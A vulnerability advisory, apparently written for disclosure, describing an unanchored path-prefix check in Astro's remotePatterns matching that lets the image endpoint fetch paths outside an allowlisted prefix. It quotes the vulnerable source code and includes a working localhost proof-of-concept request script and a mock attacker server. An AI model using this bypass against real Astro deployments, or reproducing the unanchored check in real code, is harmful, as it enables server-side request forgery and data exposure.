Summary This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for / wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.
Impact Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.
Description Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()
User-controlled href is parsed into transform.src and validated via isRemoteAllowed():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56
ts const url = new URL(request.url); const transform = await imageService.parseURL(url, imageConfig);
const isRemoteImage = isRemotePath(transform.src);
if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) { return new Response('Forbidden', { status: 403 }); }
isRemoteAllowed() checks each remotePattern via matchPattern():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21
ts export function matchPattern(url: URL, remotePattern: RemotePattern): boolean { return ( matchProtocol(url, remotePattern.protocol) && matchHostname(url, remotePattern.hostname, true) && matchPort(url, remotePattern.port) && matchPathname(url, remotePattern.pathname, true) ); }
The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for / patterns:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99
ts } else if (pathname.endsWith('/')) { const slicedPathname = pathname.slice(0, -1); // length const additionalPathChunks = url.pathname .replace(slicedPathname, '') .split('/') .filter(Boolean); return additionalPathChunks.length === 1; }
Vulnerable code flow: 1. isRemoteAllowed() evaluates remotePatterns for a requested URL. 2. matchPathname() handles pathname: "/img/" using .replace() on the URL path. 3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start. 4. The image endpoint fetches and returns the remote resource.
PoC
The PoC starts a local attacker server and configures remotePatterns to allow only /img/. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.
Vulnerable config js import { defineConfig } from 'astro/config'; import node from '@astrojs/node';
export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), image: { remotePatterns: [ { protocol: 'https', hostname: 'cdn.example', pathname: '/img/' }, { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/' }, ], }, });
Affected pages This PoC targets the /image endpoint directly; no additional pages are required.
PoC Code python import http.client import json import urllib.parse
HOST = "127.0.0.1" PORT = 4321
def fetch(path: str) -> dict: conn = http.client.HTTPConnection(HOST, PORT, timeout=10) conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"}) resp = conn.getresponse() body = resp.read(2000).decode("utf-8", errors="replace") conn.close() return { "path": path, "status": resp.status, "reason": resp.reason, "headers": dict(resp.getheaders()), "bodysnippet": body[:400], }
allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="") bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")
Both pass, second should fail
results = { "allowed": fetch(f"/image?href={allowed}&f=svg"), "bypass": fetch(f"/image?href={bypass}&f=svg"), }
print(json.dumps(results, indent=2))
Attacker server python from http.server import BaseHTTPRequestHandler, HTTPServer
HOST = "127.0.0.1" PORT = 9999
PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\"> <text>OK</text> </svg> """
class Handler(BaseHTTPRequestHandler): def doGET(self): print(f">>> {self.command} {self.path}") if self.path.endswith(".svg") or "/img/" in self.path: self.sendresponse(200) self.sendheader("Content-Type", "image/svg+xml") self.sendheader("Cache-Control", "no-store") self.endheaders() self.wfile.write(PAYLOAD.encode("utf-8")) return
self.sendresponse(200) self.sendheader("Content-Type", "text/plain") self.endheaders() self.wfile.write(b"ok")
def logmessage(self, format, args): return
if name == "main": server = HTTPServer((HOST, PORT), Handler) print(f"HTTP logger listening on http://{HOST}:{PORT}") server.serveforever()
PoC Steps 1. Bootstrap default Astro project. 2. Add the vulnerable config and attacker server. 3. Build the project. 4. Start the attacker server. 5. Start the Astro server. 6. Run the PoC. 7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.